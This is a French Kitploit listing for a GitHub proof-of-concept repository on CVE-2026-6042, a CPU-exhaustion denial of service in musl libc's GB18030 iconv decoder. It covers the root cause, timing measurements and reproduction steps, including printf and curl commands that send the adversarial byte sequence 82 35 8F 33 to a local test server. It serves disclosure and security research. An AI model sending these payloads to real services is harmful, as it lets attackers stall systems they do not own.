Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-6042-PoC — Preuve de concept et test de bout en bout du DoS par complexité algorithmique dans musl libc 0.8.0-1.2.6, référencé CVE-2026-6042 | Kitploit
Outils/GitHubGitHub/jensnesten/cve-2026-6042-poc
Analyse des VulnérabilitésExploitationSécurité WebFuzzing
GitHubjensnesten/cve-2026-6042-poc

CVE-2026-6042-PoC

Preuve de concept et test de bout en bout du DoS par complexité algorithmique dans musl libc 0.8.0-1.2.6, référencé CVE-2026-6042

Voir le dépôt
5il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-6042 : Déni de service par complexité algorithmique dans iconv de musl libc

Les boucles de saut de plage dans le décodeur GB18030 4 octets de iconv de musl permettent à une petite charge utile conçue avec soin de consommer un temps CPU disproportionné. Une charge utile malveillante de 40 Ko peut monopoliser un cœur de CPU pendant plus de 40 minutes.

  • Avis de sécurité : https://www.openwall.com/lists/oss-security/2026/04/09/19
  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-6042

Contrairement à ce que disent les avis de sécurité, le vecteur d'attaque de cet exploit est évidemment réseau, et non local. Cela vient du fait que VulDB ne comprend pas réellement les vulnérabilités qu'ils attribuent.

Vecteur CVSS 3.1 : AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - 7.5 (Élevé)

Vue d'ensemble

ChampDétail
Logiciel concernémusl libc (implémentation de iconv)
Encodages concernésGB18030 (séquences de 4 octets)
TypeComplexité algorithmique / Déni de service
Versions confirméesmusl 1.2.5 (Alpine 3.21), musl 1.2.6 (compilé depuis les sources)
Probablement concernéToutes les versions de musl depuis l'introduction du support de GB18030 et UHC/CP949
Surface d'attaqueTout service basé sur musl qui appelle iconv() sur des entrées non fiables avec ces encodages

Cause racine

Le décodeur GB18030 4 octets de musl (src/locale/iconv.c, environ lignes 434-442) convertit une séquence d'entrée de 4 octets en un index linéaire, puis parcourt une boucle de saut de plage pour mapper cet index à un point de code Unicode. Pour chaque caractère décodé, la boucle interne itère sur l'intégralité du tableau gb18030[126][190] (23 940 entrées) pour compter combien de points de code mappés sur 2 octets tombent dans une plage glissante.

La séquence d'octets 82 35 8F 33 produit un index linéaire de 19 171, qui se situe juste en dessous de la plage dense des Idéogrammes unifiés CJK (U+4E00-U+9FBD, ~20 902 entrées). La boucle de saut de plage doit alors parcourir tout le bloc dense une entrée à la fois, exécutant environ 20 905 itérations externes, chacune analysant les 23 940 entrées du tableau. Cela représente environ 500 millions de comparaisons par caractère d'entrée.

Comme le coût augmente linéairement avec le nombre de caractères malveillants dans l'entrée, et que chaque caractère déclenche indépendamment la boucle interne complète, le travail total est O(n * k^2) où n est le nombre de caractères d'entrée et k la taille de la table de correspondance.

Impact

Tout système basé sur musl (Alpine Linux, Void Linux, postmarketOS, images conteneur/embarquées, etc.) exécutant un service qui transcode du GB18030 ou de l'EUC-KR provenant d'une entrée utilisateur via iconv() est vulnérable à un déni de service.

Temps projetés sur un seul cœur (mesurés sur Alpine 3.21 / musl 1.2.5) :

EntréeTemps
1 caractère malveillant (4 octets)~0,26 s
100 caractères (400 octets)~26 s
1 000 caractères (4 Ko)~4,3 min
10 000 caractères (40 Ko)~43 min

À titre de comparaison, 100 caractères GB18030 bénins sont décodés en microsecondes.

Contenu du dépôt

FichierDescription
poc_gb18030_dos.cPreuve de concept autonome : mesure le temps de décodage GB18030 bénin vs malveillant via iconv()
server.cServeur HTTP minimal qui transcode les corps de requêtes POST via iconv(), simulant une surface d'attaque réelle
DockerfileImage conteneur Alpine Linux qui compile et exécute le serveur vulnérable
test.shScript de test de bout en bout : envoie des charges utiles bénignes et malveillantes au serveur et compare les temps de réponse

Reproduction

1. Preuve de concept autonome (mesure directe de iconv)

Compilez et exécutez sur tout système basé sur musl :

root@kitploit:~
# Sur Alpine Linux
apk add gcc musl-dev
gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c
./poc_gb18030_dos

Ou via Docker :

root@kitploit:~
docker run --rm -v "$(pwd)":/work -w /work alpine:latest \
  sh -c "apk add gcc musl-dev && gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c && ./poc_gb18030_dos"

Sortie attendue : les caractères bénins sont décodés en microsecondes ; un seul caractère malveillant (82 35 8F 33) prend ~0,26 seconde.

2. De bout en bout (serveur HTTP dans Docker)

Compilez et démarrez le serveur vulnérable :

root@kitploit:~
docker build -t cve-2026-6042 .
docker run --rm -p 8080:8080 cve-2026-6042

Dans un autre terminal, exécutez le harnais de test :

root@kitploit:~
./test.sh

Ou envoyez une charge utile manuellement :

root@kitploit:~
# Bénin : 100 caractères, doit répondre instantanément
printf '\x81\x30\x81\x30%.0s' $(seq 1 100) > /tmp/benign.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
     --data-binary @/tmp/benign.bin http://localhost:8080/

# Malveillant : seulement 5 caractères, doit prendre >1 seconde
printf '\x82\x35\x8F\x33%.0s' $(seq 1 5) > /tmp/adversarial.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
     --data-binary @/tmp/adversarial.bin http://localhost:8080/

L'en-tête de réponse X-Transcode-Time indique le temps passé dans iconv().

Démonstration de bout en bout

La capture d'écran ci-dessous montre la mise à l'échelle linéaire de l'entrée malveillante contre le serveur Docker : 20 caractères (80 octets) prennent ~5,2 s, 80 caractères (320 octets) prennent ~20,8 s, et 160 caractères (640 octets) prennent ~41,5 s.

Démonstration DoS de bout en bout

Séquences d'octets clés

SéquenceIndex linéaireComportement
81 30 81 30 (bénin)128Point de code bas ; la boucle de saut de plage se termine rapidement
82 35 8F 33 (malveillant)19 171Se situe juste en dessous du bloc CJK dense ; déclenche ~500 M de comparaisons
82 35 90 30 (malveillant)~19 200Même région, coût similaire

Avertissement

Ce dépôt est publié à des fins de recherche en sécurité et de divulgation responsable. Le code est fourni uniquement pour reproduire et vérifier CVE-2026-6042. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.

Télécharger l’outil